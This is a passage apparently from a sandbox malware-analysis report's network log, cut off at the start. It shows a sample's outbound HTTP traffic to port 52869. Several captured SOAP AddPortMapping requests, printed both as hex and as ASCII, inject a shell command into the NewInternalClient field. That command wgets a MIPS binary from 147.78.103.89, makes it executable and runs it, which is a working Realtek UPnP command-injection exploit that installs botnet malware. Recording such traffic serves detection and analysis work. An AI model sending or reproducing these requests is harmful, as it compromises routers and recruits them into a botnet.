2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.994617939 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.810560942 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:12.186388016 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:22.682096958 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:44.697699070 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704199076 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      41192.168.2.1537408185.11.213.5552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:01.776427031 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
